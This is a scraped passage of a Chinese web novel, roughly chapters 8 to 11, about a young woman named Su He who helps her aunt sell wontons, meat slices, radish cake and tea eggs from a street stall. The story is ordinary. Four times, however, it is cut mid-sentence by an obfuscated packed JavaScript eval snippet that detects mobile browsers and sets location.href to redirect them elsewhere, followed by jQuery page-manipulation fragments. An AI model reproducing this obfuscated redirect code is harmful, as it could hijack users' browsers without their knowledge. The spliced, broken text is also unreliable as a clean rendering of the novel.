;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586437|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“大姨?”
来到三轮车前,比那一声招呼更早的,是赵军从口袋里掏钱的动作。
“哎。”
用勺子推着锅里的馄饨,秦冬梅不用抬头,光是听声音就知道是谁,“小军来了?还是一大碗韭菜肉馄饨?”
赵军也是齐礼村的,算是秦冬梅看着长大的那一茬孩子,后来到了市里参加工作,也会时常来光顾她的生意。
“对,不要香菜不要虾皮。”
“好。”
把钱交给她后,赵军刚要去后面找个位置坐下,一扭头,就感受到一股带有甜意的暖风从面前经过。
“姨,再下一大碗带走的玉米馄饨。”
“好。”
赵军好像知道了,今天秦冬梅的馄饨摊生意火爆的原因:她的馄饨摊来了个漂亮姑娘。
那姑娘瞧着才二十出头,虽然穿着一身又旧又不合身的棉衣,可遮掩不住她那惊为天人的样貌。
她绝对不是本地人,赵军能看得出来。
不止是她的五官长相,她说话的语调还有一举一动也都和市里村里的姑娘不一样,软绵绵、轻飘飘的,像是一颗会行走的糯米团子。
在场吃饭的,都是在机械厂上班的工人,大部分都是满身油污的糙老爷们,可别说是他们了,哪怕是厂里的女同志,在看到苏禾时,也忍不住想多看两眼。
今天来吃馄饨的人不少,秦冬梅才刚捞出一碗端过去,就又赶紧过来继续包馄饨了。
也还好,今天有苏禾陪在身边帮忙,要不她一个人肯定忙不过来。
“老板,你是不是上错了?我没要肉啊。”
“送的,”秦冬梅解释道,同时也向其他人说:“今天吃大碗送肉片,小碗的想吃肉片提前说一声也能给换。”
肉片?送的?
听到有白送的便宜,大家的眼里都闪过了一丝光亮,只是不知道这免费的味道怎么样。
赵军扭头看了一眼那人碗里的肉片,和正经煮出来的猪肉片不一样,碗里的肉片是淡淡的粉色,除了肉以外,应该还放了别的食材进去,不过看起来味道似乎还不错。
金鱼一样的馄饨、云朵一样的肉片,还有深色的紫菜、碧绿的葱花香菜……用勺子来回一搅,就像是一副生动的画。
舀起一块颤悠悠的肉片,本来是想小尝一口,结果轻轻一吸溜就整个滑进了嘴里。
“嚯!”
男人惊讶道:“这肉片好鲜啊?!”
能尝得出这肉片是用猪肉做的,却跟平时吃的猪肉不太一样。
不是肥肉那种腻,也不是瘦肉那种柴,而是极其Q弹滑嫩的口感,咬下去时“咯吱”一声,牙齿能感受到明确的阻力,分明是肉,但一点也吃不到肉的纤维,是介乎于软绵和嚼劲之间的神奇口感!
“哎呦我去,还真是!”
另一桌的人跟着感叹,“怪艮啾,跟吃软糖似的。”
“这是啥肉做的?我吃着有点像是猪肉?”
“老板,这肉片能单点不?”
“是啊,单点的话夺钱一份?”
8. 第 8 章
头一次见到这样新奇的肉片,后面排队点餐的,都想尝个新鲜。
一开始大家都是冲着馄饨来的,到最后都换成了肉片和馄饨的两掺,有的干脆点了一整份的肉片。
苏禾没想到福鼎肉片能卖得这么好,看样子,今天准备的肉还不够用呢。
从推车下面拿出小半盆的肉泥,苏禾一边找着滑肉片的工具,一边回答他们说:“和馄饨一个价,小碗一块五,大碗一块八。”
感觉那肉片的滋味似乎不错,赵军也跟着说道:“那我的也换成两掺吧。”
“好。”
继续包着手上的馄饨,秦冬梅向苏禾介绍说:“这是咱村,你赵大爷家的老大赵军,从小跟你东哥一块长大。”
“嗯嗯,军哥好。”
苏禾点头微笑,礼貌地叫了他一声哥。
那一声哥,把赵军给叫脸红了,挠了挠头,看到苏禾脸颊上那若隐若现的小酒窝,他也轻轻地回了一声“哎”。
秦冬梅:“这是小禾,我娘家那边的侄女,以后就在咱村常住了。”
左右不是太近的交情,自然没必要说太多实情,所以只介绍苏禾是自己的侄女。
“一会多给你军哥盛几个。”
苏禾:“行,没问题。”
盆里和好的肉泥要比煮出来的肉片颜色深一点,里面除了红薯粉和一点葱姜水之外,其他什么都没加,所以能闻到最纯正的肉味,且不带有半点腥气。
往一块铁板上舀起一勺,用勺子反复搅和一番后再缓缓铺平……
第一次出来跟摊,苏禾手上的动作比不得秦冬梅那么熟练,三下五除二地功夫就能把肉片全部下锅,却也能看得出她是有底子的。
把勺子用锅里的面汤沾湿,然后像画画时蘸取颜料那样,一下接一下地将铁板上的肉片沿着边推进锅里,只几秒的功夫,沉下去的肉片就变色浮了起来。
有点像是刀削面的做法,每一片肉都是形状大小差不多的梭形。
一片、两片、三片……
看着肉片接连下锅,苏禾没细数一共几个,倒是赵军记得很清楚。
秦冬梅刚才交代她给自己多一点,可这是不是给的也太多了?!
满满的一板肉泥有一半都下进了锅里,一共有十六片,但一大整份的馄饨也才十五只而已啊。
他要的是两掺,她这岂不是下了一整份?
“够了够了,”赵军赶紧阻拦道,“这给的也太多了,你们赚点钱也不容易,总得顾着自己的成本。”
苏禾手上的动作没有停下,还在继续用勺子推着铁板上的肉泥,“再加点吧,这才刚刚够半份。”
苏禾怎么可能会为了人情不考虑成本?
只是肉泥里放了不少的红薯粉,又搅进去了葱姜水,所以单纯是看着多而已,实际上用的肉量和半份馄饨的肉差不多。
听说苏禾给的肉片量大,正在排队的人也纷纷看向了那口锅,希望轮到自己的时候也能多一点。
肉片刚下锅就定型,差不多滚个一两分钟就熟了。
抓一撮虾皮和紫菜,再倒一点味精、陈醋,用勺子舀一抹猪油后,等到肉片和馄饨一锅出的时候,来上一满勺的面汤,最后撒上一点葱花和香菜。
碗里的紫菜瞬间舒展,那股鲜味也“轰”地一下在碗里炸开了。
碗不大,用来装十五个馄饨正好,可倒进肉片后一下子就冒了尖儿,在接过碗的时候,每个人都会第一时间喝一口碗里的汤,生怕手上的动作太抖,会让肉片掉出来。
“这肉片可真香哎!”
“可不咋地,你试试来一点辣椒,滋味更足!”
“这是啥菜系啊?咋之前没见过呢?”
“大姨,你这侄女的手艺可是真不错!”
“能买一份儿生的不?我想留着晚上自己煮煮。”
在车间里忙活了一整夜,工人们原本各个都是“半死不活”的,可这一碗热汤下肚后,好像整个人就又活了过来,冰凉的手脚也逐渐恢复了温度。
来馄饨摊吃饭的人越来越多,一开始,他们都以为大家是冲着说话声娇滴滴的苏禾来的,想瞧个新鲜,可真的尝过她的手艺后,这明白味道才是最惊艳的。
赵军喜欢吃辣,先喝一口不放辣的清汤,随后每吃一颗馄饨、一条肉片,都要蘸点辣椒一起吃。
这肉片吃起来过瘾得很,一口接着一口,根本停不下来,时不时再来上一颗元宝形状的韭菜肉馄饨,额头不知不觉就冒出了一层汗。
“你的馄饨咋跟咱的不一样?”
饿了一晚上,大家只顾着埋头干饭,等碗里的馄饨都快吃完了,一起来的工友才注意到赵军碗里的馄饨和大家的不一样。
“欸?还真是,”另外一个人也注意到了,“你的馄饨明显比我们的大啊。”
他们一直都是吃秦冬梅做的馄饨,习惯了金鱼的形状,无意中往赵军的碗里一瞥,才发现他碗里的是一颗颗元宝,煮过的元宝边缘微微外翻,换个角度看又像是一朵朵玫瑰花。
“唉!”
装模作样地叹了一口气,男人一边吃着碗里最后一颗馄饨,一边幽幽地道:“要是我爹妈给我生得再俊一点就好了,那我也能有人约我去看电影,碗里的馄饨个头也能大一圈。”
赵军是他们二车间公认的帅小伙,不仅年纪轻,手艺还好,连续两年都是车间里的劳动标兵,可惜机械厂里的姑娘少,没什么处对象的机会,再加上厂里的生产任务重平时就是宿舍、车间两点一线,否则以他的条件,也不至于二十四岁了还单着。
“哪有,都是一个锅里的馄饨,咋不一样大了?”
赵军当然听出了他们玩笑的意思,只是没好意思接茬,“也就是馅不一样,谁让你们不吃韭菜馅的。”
成天在油泥污的男人堆里扎着,赵军在看到水灵灵的苏禾时,眼前自是一亮又一亮,尤其是尝过她的手艺后,心里那些最美好的词,一下子就有了具体又清晰的代表。
这是他们的第一次见面,他可不会花痴到胡思乱想些什么。
只是,自己碗里的馄饨确实不太一样,还有她给自己盛的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586438|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些肉片,份量也的确不少。
“快快快!”
男人桌子下面的腿撞了撞赵军的膝盖,“她正在偷看你呢!”
赵军刚扭头,就看到苏禾正好转过了身。
不过没过十几秒钟,苏禾在用勺子推了推锅里的肉片后,就又看了过来。
扑通扑通……
四目相对的瞬间,赵军感觉自己的心跳在逐渐加速。
糟糕,难道是辣椒的后劲儿上来了吗?!
与此同时,在把锅里的馄饨捞出来后,苏禾一边把碗递给客人,一边微笑着解释说:“不好意思啊,我们带的辣椒不多,一会等他们吃完了我再给你端去,你看行吗?”
“行。”
拿起抹布清理着台面,苏禾不禁又看了一眼赵军他们的那张折叠桌。
他们到底是多能吃辣?那罐辣椒都快被他们吃干净了吧。
……
过了早上八点半,机械厂门口的小推车都各自散了。
收拾着折叠桌和小板凳,忙活了一个多小时虽然累得很,但秦冬梅脸上却堆满了笑。
“小禾,你这肉片真是做对了!这还没到晌午呢,咱的东西就已经卖完了!”
平常她一个人来摆摊,一早上顶多卖十来碗。
今天可倒好,有了苏禾帮忙,她都不记得卖掉了多少碗,不仅她做的福鼎肉片卖个干净,馄饨也是一点不剩。
本以为还要再去医院外面呆一天呢,看样子,今天不到晌午就能回去了。
“三十一,三十二块五,三十五……”
一共是五十四块六,除去成本,相当于今天一共赚了三十二块四。
把叠好的钱放进口袋,秦冬梅长长地舒了一口气,说:“走吧,咱也吃点东西去,顺道再去光虹市场逛逛。”
光虹市场是哈市有名的平价市场,日用百货、服装鞋子应有尽有,除了在各处摆摊的大集之外,东北人最爱逛的就是这样的小市场。
“光虹市场?”
秦冬梅:“马上快过年了,给你再买两身厚实的棉衣。”
“别别别,阿姨,我们还是回家吧,”一听秦冬梅又要给自己买衣服,苏禾赶紧推辞,“上次已经给我买过几件衣服了,不用再买了,我可以穿你的衣服。”
“那哪儿行?”
拉过苏禾被风吹得冰凉的手,秦冬梅一下揣到了自己口袋里,“长得挺漂亮一小姑娘,成天穿我这老婆子的衣裳像什么话?”
“我……”
“哎呀!走吧!听我的!”
秦冬梅的语气不容拒绝,“我知道有一家大碴粥做得老香了,你还没吃过咱这儿的大碴粥吧?一会可得来上一大碗尝尝,再来两张玉米饼子,你看咋样?”
今天她们忙活一早上一共就赚了几十块,又要吃饭、又要去买衣裳,这下看来,不仅要花光,估计还要倒贴一点。
苏禾虽然没说话,但秦冬梅还是看出了她在担心什么,于是又说:“钱是王吧蛋,花了还能赚,咱有手艺在身上,就不怕以后挣不着钱。”
9. 第 9 章
冬天,严寒封住了东北的黑土地,不过,在茫茫的田地里,总会留有一抹白色还氤氲着生气。
齐里村的田地并不都是用来种水稻的,还有一部分种着蔬菜。
到了冬天盖上大棚,哪怕外面再冷,里面也能培育出新鲜的蔬菜。
“这萝卜长得可真好!”
“准备回家再做点咸菜?”
“炸丸子,我家那猴崽子天天嚷着吃丸子,正好给他炸点。”
“炸完来咱家吃鱼啊?老刘昨儿去江里钓了几尾,我炖了一大锅呢。”
“那敢情好的,那我给你捎点我炸的丸子。”
从菜棚出来,几个婶子们没急着各自回家,而是一起去了村东头的小卖部,准备买点调料。
手臂上挂着菜筐,陈婶子忽然放慢了脚步:“你们闻见没?”
“啥啊?”
零下几度的天,出门的时候大家都用围巾把脸包得严实,只能闻到自己的鼻涕味和衣裳的陈旧味,可那一股若有若无的香味,却不住地往陈婶子的围巾里钻。
摘下围巾深吸了一口气,那股火热的滋味好像更明显了,不过却一点不呛鼻,只有辣椒被热油激发的焦香,还有芝麻炒熟后醇厚的坚果味。
“哎呦,是谁家在炸辣椒呢?!”
朝着四处扫了一圈,陈婶子那句乍一听是责怪,实际上是被这滋味给勾起了肚子里的馋虫。
筐里刚挖出来的白萝卜也有辣味,可跟这飘来的辣椒香比起来,那可是差了一大截呢。
在家跟灶台打了几十年的交道,不用去尝,光是从这醇香麻辣的味道,她们就能品出做这辣椒油的人技术绝对一流!
油温低了炸不出香,油温高了又会有糊味,一定得是刚刚好,才能激发出辣椒的味道,还有芝麻和花椒面加入的时机也很重要。
而更妙的是,这飘来的香味并不是单一寡淡的辣味,里面除了芝麻和花椒之外,好像还加入了别的东西,以至于在这股香气的尾巴上还带了一点点中药的回甘。
“老齐媳妇做的?”
“闹呢?她哪有这手艺。”
再次深深地吸上一口,大冷的天,这热烈的滋味闻得人身上一下子就暖了起来。
往西边的那处院子眺了一眼,陈婶子说:“好像是秦姐家飘出来的。”
秦冬梅到了冬天农闲的时候,就会去市里摆摊卖馄饨,好像确实只有她会需要炸辣椒油来用。
来到秦冬梅家的院子,那辣椒油的香味果然变得更浓了,院门和院墙根本拦不住那味道。
铛铛~!
“秦大姐?”
“哎~来了。”
打开门时,一股浓郁的香味扑面而来,热腾腾的味道扑得几人不由得后退了小半步。
“你搁家炸辣椒油呢?”
“这味可真香,隔得老远我们都闻到了。”
“说真的,你是放了点啥佐料啊?咋一点不冲鼻子呢,光剩下香了!”
都是认识几十年的老姊妹了,秦冬梅也不跟她们说什么虚头巴脑的,稍稍往后让了半步后,引着她们往屋里看,“不是我炸的,是小禾,咱家侄女做的。”
屋里,苏禾正系着围裙站在灶台前忙活,嫩藕似的手臂握着一双长筷子,轻轻拨弄着锅里的饼,让人怎么看都觉得不搭调。
人漂亮,穿什么都好看。
苏禾穿着今天上午刚买的新衣裳,虽然是小市场买来的便宜货,可却衬得她很有气质,扎起的头发像小丸子一样干净利索,完全不像是村里长大的,不修小节的姑娘们,倒像是富贵人家长大的小姐。
像她这样十指不沾阳春水的城市姑娘竟然会做饭?还会炸辣椒油?
带着她们进屋,秦冬梅向苏禾分别介绍道:“这是你陈婶子,孙大娘,还有吴三婶子。”
用小指轻轻理了一下额边的碎发,苏禾礼貌地点头向她们各自问好:“陈婶子好,孙大娘好,吴三婶子好。”
“哎呀呀,这闺女的声音真是甜掉牙了~!”
拉住苏禾的手,陈婶子十分喜爱地摩挲着,可又怕自己的手太粗糙会弄得她不舒服,都不敢太使劲。
“瞧瞧这小脸儿,跟剥了皮的鸡蛋似的!”
在重男轻女的时代,只有老爷们才会心疼家里的小子,可村里的大婶大娘们就稀罕闺女,尤其是像苏禾这样漂亮又娇弱的闺女,真是恨不得捧在手心里好好疼疼。
“多大了?家是哪的?”孙大娘又问道。
“二十了,家是……”
“家是咱这儿的,”秦冬梅替她回道,“以后她跟我过,等户口办下来,就是咱齐里村的人了。”
她们之前只知道秦冬梅救了个闺女,却不知道她要把苏禾留在自己家里。
不过几十年的乡里乡亲了,她们都清楚秦冬梅是什么人,既然愿意让苏禾留下,就一定有她的理由。
滋滋……
锅里还煎着东西,轻微的焦香提醒着苏禾赶紧给它们翻面儿。
只是,那辣椒油的香味实在是太重了,让人完全闻不出锅里的饼子是用什么做的。
转过身把放在橱柜上的那口锅拿下来,里面正是刚炸好没多久的辣椒油。
用勺子把沉底的辣椒面搅上来,和飘在表面的芝麻混合在一起,使得味道变得更加有侵略性,恨不得立刻占领她们的味蕾。
“都装点带回去啊,尝尝咱侄女的手艺。”
随着秦冬梅手里的勺子上下翻动,一股又一股的热浪不停地刺激她们分泌口水。
“哎呀哎呀,你卖馄饨还不够用呢。”
“就是啊,我们搁家也能炸,就不尝了吧。”
嘴上在推辞,可一个个都主动去橱柜里拿碗等着接。
炸辣椒的油用的是花生油,应该是还放了一点牛油,所以隐隐能闻到那股荤香。
刚要倒进她们手里的碗,苏禾就叫停道:“萝卜糕煎好了,婶婶们先吃点萝卜糕?”
“对,急着回去干啥啊?”说着,秦冬梅就把勺子收了回来,“先尝尝小禾做的萝卜糕,吃完再兜一碗辣椒油回去也不迟。”
“这,这不好吧……?”
光拿就算了,还要再留下吃点……会不会显得自己太厚脸皮了?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586439|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
依次把锅里的萝卜糕夹出来,每一块都是半个巴掌大小的正方形,原本白色的萝卜糕被煎得金黄金黄的,边缘的地方鼓起了几个小油泡,星星点点的肉丁还在“滋滋”冒油。
白萝卜、青菜、肉丁、蘑菇,几种颜色混在一起,看起来丰富极了,不过味道很含蓄,只有凑近的时候才能闻到淡淡的咸香。
“萝卜做的?”
“对,”苏禾一边在碗里调着蘸酱,一边解释说,“这是南方的一种小吃,蒸熟就可以吃,不过煎完味道会更好一点。”
刚煎好的萝卜糕还冒着烟,趁热夹起一块递到嘴边。
咔嚓~!
“哎呦我~!”
“这真是白萝卜做的?味儿可太是那个了吧?!”
“小禾,你这手艺不错啊!这不值钱的白萝卜叫你做得跟御膳一个味了!”
“可不咋地,我还是头回吃这种白萝卜呢。”
表面的酥壳脆得掉渣,里面却是软软糯糯,带了一点Q弹的口感,虽然表面是油香和咸香,但白萝卜的清甜刚好能解了这油腻的味道。
真是得劲!
要是能再来点别的滋味……
“蘸点酱再试试?”
正想着呢,苏禾就把碗递过来了。
碗里是东北家家户户都有的大酱,加了一勺热腾腾的辣椒油后,颜色变得更加红润了。
夹起一块萝卜糕蘸一下,多了一抹酱色后,颜色也变得更加诱人。
“嗯~”
“嗯!”
“嗯!!”
刚才都把词用完了,这一口再下去,她们都不知道该怎么夸了,只能用疯狂点头的方式和抑扬顿挫的音调,来表达自己对味道的惊讶。
东北的大酱配上南方的萝卜糕,浓酱香辣混合着清甜的萝卜,这种看似不搭调的碰撞偏偏产生了神奇的效果,让人一口接着一口地吃,根本停不下来。
说好了不尝的,说好了只尝一口的,结果一整盘萝卜糕就这么被吃了个干净。
就这,在吮着筷子上的余味时,她们还觉得不够吃呢。
“再吃点吧?”
见她们咂着嘴似是没吃够,秦冬梅又转身走去橱柜,准备再拿出两块萝卜糕来。
“不了不了,我们真得走了。”
“是啊,我们还得去买酱油呢。”
尝尝鲜就够了,真要在别人家把肚子吃饱,最后还连吃带拿的,未免也太缺心眼了,这要传出去得多让人笑幻啊。
一人端着一碗辣椒油正准备往外走,苏禾掀起的锅盖一下子就又让她们停下了脚步。
咕嘟咕嘟~
锅里浓浓的酱色一直在冒泡,只是刚才盖着盖子,辣椒油的香味又足够的浓烈,这才遮盖了锅里的味道,再加上灶下的火很小,使得味道全都锁在了锅里。
看看锅里炖着的东西,再看看手里的那碗辣椒油,最后再看看彼此,似乎都在等着彼此做出那个最关键的决定……
姊妹儿,说实话嗷,咱真的不能再吃了吧?
是啊,咱可真不能整那不值钱的死出啊!!!
10. 第 10 章
早上六点,李阳不用人叫,自己就爬起来穿衣服了。
平常早起去上学前,他都要赖一会床,等到屁股蛋儿上挨俩巴掌才会不情愿地起床穿衣服,今天李婶子正在外屋煮着碴子粥呢,李阳就兴冲冲地跑了出来。
“妈,你卤鸡蛋了?”
迫不及待地往锅里瞅了一眼,那毫无食欲的粥色一下子让他的脑袋瓜耷拉了下来,“啊……我分明闻见卤茶叶蛋的味儿了,我的茶叶蛋呢?”
“吃吃吃,一睁眼就知道吃,”杨丽白了他一眼,“你咋不说早起多看两页书呢。”
院子里,李成刚把洗脸水往池子里一倒,回来时也跟着说道:“也不能怪阳阳馋,小禾这手艺确实是好,昨天端来的辣椒油你不也没少吃嘛。”
杨丽没说话,而是在他的胳膊上不轻不重地拧了一把。
昨儿下午回来,李成刚就闻到了从隔壁院飘来的香味。
谁家不会做个茶叶蛋?可隔壁院飘来的香气,偏偏就和平常闻到的味道不一样。
东北人口味重,佐料放得多,做出来的味道是不错,不过卤料在炖煮时几乎只能闻到酱油的咸,不像苏禾做的,还真能闻到几丝茶叶的香气。
放了一个晚上后重新开火,香味似乎又有了变化,闻起来比昨天刚煮好时更有层次,回味也更醇厚。
“李叔?李婶?你们起了吗?”
听到苏禾那清脆的一声叫喊,杨丽也不禁夹了夹嗓子,勉强让自己的声音温柔一些:“哎,起了。”
“昨天做的茶叶蛋热好了,让阳阳来拿点回去,你们尝尝吧。”
杨丽那句“不用了”还没来得及说出口,李阳就恨不得原地蹦起两丈高。
“好!我马上来!!!”
“你给我站住。”
一把揪住李阳的后脖颈,杨丽把快要飞起来的李阳给按了下来。
这时候再拒绝来不及了,杨丽只好拿来一只搪瓷盆,用烧火钳从灶台底下捞出了几只烤地瓜,“拿去给你苏姐姐和秦姨,让她们路上吃。”
“嗯!”
李成刚家的条件不好,之前要供两个孩子上学,还要赡养两边的老人,家里连点存款都没有,所以只能用点烤地瓜来稍稍还一点她们的人情。
端着一盆烤地瓜来到隔壁院,苏禾和秦冬梅正在往三轮车上装东西,用来煮馄饨的炉子上放着一只敞开口的锅子,里面装满了卤了十几个小时的茶叶蛋。
“秦姨,天冷路上风又大,俺妈让我给你们拿了点烤地瓜。”
“这么些啊?!”地瓜每一个都跟萝卜一样大,挨个把地瓜拿出来,秦冬梅隔着墙对隔壁说道,“小丽,你这也太客气了。”
“没事儿,家里烤得多,你们多吃点。”
苏禾从锅里捞出一颗茶叶蛋,主动替他剥开,“尝尝,看味道怎么样?”
在卤料里泡了大半天,蛋壳就跟那老古董似的,布满了细细的裂纹,像是碎掉的瓷器纹路,轻轻一剥就从蛋白上脱离下来。
“哇塞?!”
蛋清已经变成了浅褐色,表面有好几条漂亮的大理石花纹,褐色的纹路弯弯曲曲,跟画上去似的。
神奇的是,这卤蛋闻起来竟然不是齁咸,而是带有一丝回甘的茶叶香。
张大嘴巴一口咬下去……
记忆里,关于茶叶蛋的印象,正随着蛋黄一点点在嘴里化开而不停地改变。
如果这才是茶叶蛋的味道,那他以前吃的算什么?!
“我回来了~!”
五分钟后,李阳端着搪瓷盆回到了自家院子。
把搪瓷盆放在灶台上后,李阳自顾自地准备回屋收拾床铺。
“等会儿?”
放下手里的勺子,杨丽立马叫住了他。
瞟了眼盆里那三颗茶叶蛋,她的眼神逐渐变得凌厉:“嗯?就三颗?”
“是啊,咋了?”李阳紧张地回道,“秦姨她们还得卖呢,所以就,就给了我仨。”
“小瘪犊子,我再问你一遍嗷,说准了没?”杨丽的音调又提高了一个八度。
李阳没说话,而是看向了一旁在帮忙干活的老爹。
看了一眼李阳的裤子,两边那洇湿的一大片明显是卤汁的颜色,还有被塞得鼓鼓囊囊的两个裤兜和两个屁股兜……
“这还瞅啥啊,等会该送去上学了,”李成刚主动把笤帚递给杨丽,“赶紧打吧?”
李阳:!!!
……
病房里,罗燕喂完奶穿好衣服后,看向在摇篮旁哄女儿睡觉的丈夫,他脸上的笑容越灿烂,她的心里就越是不得劲。
还是当爹得劲啊,不像当妈的,俩小时就得起来喂一次奶,连个整觉都睡不好。
“哦哦~咱朵朵是世界上最漂亮的丫头,是不是啊~”
“快长大吧,长大后你想要啥,爸都给你买~”
听他吹得天花乱坠,罗燕抬起腿在王宾的屁股上不轻不重地踢了一脚。
“干哈?”刚开口,王宾就下意识地压低了声音,“我正哄闺女睡觉呢。”
罗燕:“怎地?眼里只有你闺女?忘了她还有个妈呗?”
见老婆不高兴了,王宾赶紧凑过来,一边赔着笑一边给她捏着腿,“我错了我错了~是渴了不?还是想解手了?我扶你去?”
“我饿了。”
“那我去食堂给你买包子?还是来碗面条?”
罗燕皱着眉反问道,“就没别的了?”
“那你想吃啥?”
罗燕也说不出自己想吃什么,总之就是不想吃包子面条碴子粥了。
生完孩子不能吃味道重的,容易影响到母乳,可来来回回老是那几样,吃也吃烦了。
她想吃点新鲜的。
“那我去早餐摊逛逛,看有啥能吃的,给你买点?”王宾提议道。
靠在枕头上,罗燕悠长地舒了一口气,“去吧,快去快回。”
病房楼后面的那条马路上,各式各样的三轮车、小推车像是条长龙,从马路这头一溜到了那头。
有些只卖早餐、有的出摊就是一天,所以各个摊位卖的东西各不一样。
王宾转了一圈,这个摊位上瞅一眼,那个摊位前站一会,半天都不知道该买些什么。
马路边的摊位也就是看着多,可来来回回卖的就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586440|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那几样,包子、煎饼、油条、营养粥……基本都是医院食堂里有的,而且做得还不一定能比得上医院干净。
眼看都快走到十字路口了,才找到一个刚停下没一会的三轮车。
摆摊的是一老一少两个女人,年迈的那个正在收拾桌椅,年轻的则用一根粉笔在小黑板上写着她们要卖的餐点。
“姨,要不明天咱们早上还去机械厂吧?”
“去啥?不去了,”秦冬梅一边把小桌撑起来,一边说,“下回咱再早来五分钟,就能抢到好地界儿了。”
今天她们准备了十来斤的馄饨馅,本打算先去机械厂卖早餐,等到中午了再来省医摆摊,可路上,秦冬梅却直接掉转方向骑着三轮来到了省医。
机械厂都是些脏兮兮的糙老爷们,昨天她们的馄饨虽然卖得好,但那些人的目光也各个在苏禾的身上扫了好几个来回。
苏禾年龄还小,总不好叫她整日在狼堆里呆着。
反正只要味道好,就不愁卖不出去,去哪摆摊都是一样的。
这已经是街上最后的一个早餐摊了。
看了一眼锅里用小火煮着的茶叶蛋,本着“来都来了”的原则,王宾从口袋里拿出了钱包,问:“给我来个茶叶蛋吧,夺钱一个?”
“三毛钱。”
“行。”
拿起漏勺在锅里轻轻搅了一下,原本含蓄收敛的味道倏地翻涌起来。
卤香中混着茶叶的醇厚,那股酱味并不是单一的咸,热气腾腾的,直往鼻子里钻。
这时候,王宾才看到她那块小黑板上的菜品和价格:
茶叶蛋三毛
馄饨(韭菜肉、玉米肉、酸菜肉)
小碗一块五毛
大碗一块八毛
福鼎肉片
小碗一块五毛
大碗一块八毛
煎萝卜糕
小份一块
大份一块三毛
接过苏禾递来的茶叶蛋,王宾问道:“福鼎肉片是啥?”
“是用猪肉和红薯粉做的。”苏禾将那一盆和好的肉浆让他看了一眼。
“干净不?”
这可是要给老婆吃的,必须保证干净才行。
“咱自家做的,自己平时都吃,能不干净?”拿起布擦了一把手,秦冬梅信誓旦旦地回道,“要是吃完肚子疼你还回来找我,我们一天都在这儿不挪地方,到时候我给你包药钱。”
刚才在听到苏禾的外地口音时,王宾还不放心,可一听秦冬梅那地道的东北嗓,瞬间都没什么疑虑了。
闻着袋子里的茶叶蛋味道还不错,想来其他的菜色应该也不会差到哪去,于是王宾又说:“那给我来一小碗福鼎肉片,一小份煎萝卜糕吧,在这儿吃。”
“好。”
拿起围裙往腰上一系,秦冬梅一边开火一边说:“你先坐,等会就好。”
坐下后,剥着手里的茶叶蛋,王宾本以为做饭的人会是秦冬梅,那个漂亮的年轻女人只是给她打下手的。
可看到苏禾舀起一勺肉泥,用两块铁板来回搅拌,秦冬梅只是在旁边慢悠悠地包馄饨时,一下子又把心提了起来。
11. 第 11 章
东北人干活主打一个麻利。
不说手法多么炉火纯青,起码要像秦冬梅那样熟练,左右手相互配合,根本不需要费什么心神,就能三下五除二地包出一排大小均匀的馄饨。
而一旁的苏禾,手上的动作却是慢条斯理的。
一片、两片、三片……这不急不缓地手法哪里是出来摆摊做生意的?
唉!
王宾默默地叹一口气,已经做好了会踩雷的准备。
可就在他把剥好的茶叶蛋递到嘴里时……
嚯?!
在口腔里炸开的味道,瞬间把他的情绪又拎了起来。
经过十几个小时的浸泡、炖煮,已经吃不到半点的蛋腥,中间的蛋黄在吸饱了卤汁后甚至口感更加绵密,用舌头一抿就化开了,一点也不噎人。
更绝的是,这茶叶蛋的味道并不是单一的酱咸卤香,越嚼,那股茶叶的回甘越明显。
一口接着一口,再来……嘶,这茶叶蛋怎么这么小啊,他还没吃得劲呢,咋就没了?
要是鸡蛋能跟他的拳头一样大就好了。
“老板?你家这茶叶蛋味还挺香的。”
起身走到前面,王宾一边从口袋里又拿出六毛钱放在桌上,一边自觉地拿起漏勺在锅里挑选着。
捞起那只装着卤料和茶叶的布包瞧了一眼,味道确实和他在别处买的茶叶蛋闻着不一样,“你们这卤料里有啥秘方?”
“也没什么,就是很普通的调料。”用勺子搅着飘在锅里的肉片,苏禾回道。
王宾惊讶地问:“这茶叶蛋是你做的?”
“嗯。”
